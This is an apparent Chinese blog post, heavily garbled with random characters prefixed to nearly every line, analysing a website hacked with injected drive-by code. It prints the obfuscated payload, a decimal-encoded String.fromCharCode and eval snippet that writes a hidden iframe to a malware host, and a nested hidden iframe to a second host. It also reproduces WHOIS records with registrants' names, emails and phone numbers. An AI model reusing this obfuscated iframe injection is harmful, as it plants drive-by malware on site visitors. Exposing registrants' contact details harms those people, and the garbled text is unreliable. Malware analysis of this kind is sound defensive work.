首发在我的博客里面，
bxyEn'vNvQ $_k'!/ 5 http://www.areway.cn/?p=175 t>7t4>X hE\,4c1 %1gJOV 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
bW;0E %_ )&1yt4
x6% <script>t=’60,105,102,114,97,109,101,
leiED' 32,115,114,99,61,104,116,116,112,58,47,47,
>s1FTB-$W 102,114,101,101,46,117,45,117,117,117,46,99,
&JAQ:([: 110,47,101,114,114,111,114,46,104,116,109,
J_}&Btb)e 32,119,105,100,116,104,61,49,48,48,32,104,
Xx[
L K 101,105,103,104,116,61,48,62,60,47,105,102,
p |,K2^?Y 114,97,109,101,62′;
auAST;"Z8 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
0(|R N V_ F+*>q <script>t=’60,105,102,114,97,109,101,32,115,
)wP0U{7?v 114,99,61,104,116,116,112,58,47,47,102,114,
}r]WB)_w 101,101,46,117,45,117,117,117,46,99,110,47,
r /HKxXT 101,114,114,111,114,46,104,116,109,32,119,
@I\Z2-J 105,100,116,104,61,49,48,48,32,104,101,105,
jz't!wj 103,104,116,61,48,62,60,47,105,102,114,97,
t!c8 c^HR 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
aQC bRS6 document.write(t);</script>
vY *p][$ r=n| MT^O <html xmlns=”
?)<zrE5p http://www.w3.org/1999/xhtml S+ymdZ)xZ` “>
HB {-^9{E <head>
|}^[f] <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
6R%c+ok 8i <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
YH) U nql <title>首页 - 爱生活家庭网
|.=Ee+HZ j$T2ff6 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
M~I M;my 转换字符串后的大概内容是（谁点击后果自付）：
2]eh[fRQ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
po*s $} TqBBe 查询玉米u-uuu.cn的详细信息：
KD$ P\(5# Domain Name: u-uuu.cn
b;]'Bo0K ROID: 20070901s10001s64972306-cn
|o~FKy1'z\ Domain Status: ok
Vyj>&"28 Registrant Organization: 王雷
$^I uE0. Registrant Name: 王雷
H|0B*i@ 81 Administrative Email:
czlovexs@126.com -kES]P?2 Sponsoring Registrar: 北京万网志成科技有限公司
idGkX
? Name Server:ns.yovole.com
&_,^OE}K_: Name Server:ns1.yovole.com
t"2WJ-1k } Registration Date: 2007-09-01 17:54
bVtboHlY Expiration Date: 2008-09-01 17:54
l6xC'c,jg 最后PING了一下地址 都没有什么….
= A DAMP I
m_yY 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
m{mK; D
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
+
h`:qB <script language=”javascript” src=”
yZxgUF&` http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ?@|1>epgd >
4I"Q T(; 这个玉米应该有可能是木马作者的：
hOfd<k\A foafau.info的详细信息：
+hY/4Tx< Access to INFO WHOIS information is provided to assist persons in
miuJ!Kr' determining the contents of a domain name registration record in the
:KgLjhj|) Afilias registry database. The data in this record is provided by
AbZ:AJ(
Afilias Limited for informational purposes only, and Afilias does not
X^_,`H@ guarantee its accuracy. This service is intended only for query-based
1k2Ck access. You agree that you will use this data only for lawful purposes
vH#
U S and that, under no circumstances will you use this data to: (a) allow,
"M7ry9dDH enable, or otherwise support the transmission by e-mail, telephone, or
Lr)h>j6\ facsimile of mass unsolicited, commercial advertising or solicitations
L]9!-E to entities other than the data recipient’s own existing customers; or
m4 E 6L (b) enable high volume, automated, electronic processes that send
hrZ~7 0r queries or data to the systems of Registry Operator, a Registrar, or
<$UMMA Afilias except as reasonably necessary to register domain names or
b$PNZC8f modify existing registrations. All rights reserved. Afilias reserves
Y4@~NC U/ the right to modify these terms at any time. By submitting this query,
F5:*;E;$ you agree to abide by this policy.
:J(a;/~ip Domain ID:D22418703-LRMS
U( W#H| Domain Name:FOAFAU.INFO
)#ic"UtR Created On:20-Nov-2007 16:05:42 UTC
j V:U% Last Updated On:20-Nov-2007 16:05:44 UTC
8 f,jC+( Expiration Date:20-Nov-2008 16:05:42 UTC
3tnY K& Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
m f4@g05 Status:CLIENT DELETE PROHIBITED
{aGQ[MH\9 Status:CLIENT RENEW PROHIBITED
1uB}Oe 2~ Status:CLIENT TRANSFER PROHIBITED
Zdh4CNEeFP Status:CLIENT UPDATE PROHIBITED
kC|tv{g#> Status:TRANSFER PROHIBITED
xw%?R=&L Registrant ID:GODA-040110615
yu#Jw Registrant Name:liu hong
+ ;Cq>1x, Registrant Organization:
QV{N q=%] Registrant Street1:beijing
i`2Q;Az_P6 Registrant Street2:
?aSL'GI Registrant Street3:
Lrq+0dI 65 Registrant City:beijing
jt3s;U* Registrant State/Province:
&9o @x]) @ Registrant Postal Code:100000
AKa{C
f Registrant Country:CN
#A:I|Q 1$g Registrant Phone:+86.860108888777
L2{to f Registrant Phone Ext.:
GgA =EdJn Registrant FAX:
(4M# (I~cE Registrant FAX Ext.:
E'XF n' Registrant Email:bbbshiji@163.com
e{=7, DRH< Admin ID:GODA-240110615
&JfyXM[] Admin Name:liu hong
mWmD H74 Admin Organization:
Pl1:d{"d Admin Street1:beijing
`E!t,*(*E Admin Street2:
r}f -.Fo Admin Street3:
5 Nl>4d` Admin City:beijing
,:>>04O Admin State/Province:
g'pE z Admin Postal Code:100000
=C`v+NPM)| Admin Country:CN
rZJp>Q)s Admin Phone:+86.860108888777
]d$)G4X 1 Admin Phone Ext.:
E'MMhl o Admin FAX:
V_+ 3@C Admin FAX Ext.:
%3xH<$Gq5 Admin Email:bbbshiji@163.com
v{JCEb&wN Billing ID:GODA-340110615
. s?
''/( Billing Name:liu hong
l*nS gUg Billing Organization:
/^#}
\<; Billing Street1:beijing
*ZN"+ wf\ Billing Street2:
E_
mgYW*5 Billing Street3:
CXUNdB Billing City:beijing
wfo}TG hC Billing State/Province:
lJ7k4ua\ Billing Postal Code:100000
gkBat(Uc Billing Country:CN
H[-zQ #I9 Billing Phone:+86.860108888777
i.F[.-. Billing Phone Ext.:
<LBMth Billing FAX:
H7l[5 ib Billing FAX Ext.:
Cc!n`%qc Billing Email:bbbshiji@163.com
+BzKO > Tech ID:GODA-140110615
c%xxsq2n Tech Name:liu hong
q".l:T%|C} Tech Organization:
j:<E=[Kl Tech Street1:beijing
i]Kq Tech Street2:
[W^6=7EO Tech Street3:
j1/J9F' Tech City:beijing
3kKXzIh Tech State/Province:
-MB ,]m Tech Postal Code:100000
b? w4Nx# Tech Country:CN
|2n2 Tech Phone:+86.860108888777
>{m>&u;Cc Tech Phone Ext.:
{tWfLfzU Tech FAX:
/eIwv 31 Tech FAX Ext.:
nHZ 4):` Tech Email:bbbshiji@163.com
WU=Os8gR Name Server:NS27.DOMAINCONTROL.COM
/8Vh G|Wb Name Server:NS28.DOMAINCONTROL.COM
!*CL>}-, Name Server:
E(u[? Name Server:
+?mZ_sf8w Name Server:
^~(bm$4r Name Server:
=FwFqjvl Name Server:
QF%@MK0zC Name Server:
&m Y<e4 Name Server:
Oh8 ;YE-% Name Server:
:U r%. 0 Name Server:
g{<3*, Name Server:
anl?4q3;9 Name Server:
!_x-aro3< xss D2*l 接着下载每个文件里面的代码：
apw8wL2 一步一步看..
t`F%$q 
DK4V/>@8 
xh imRi 
F'SOl*v(s5 
6 1gZZM 
V]vk9M2q[l 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
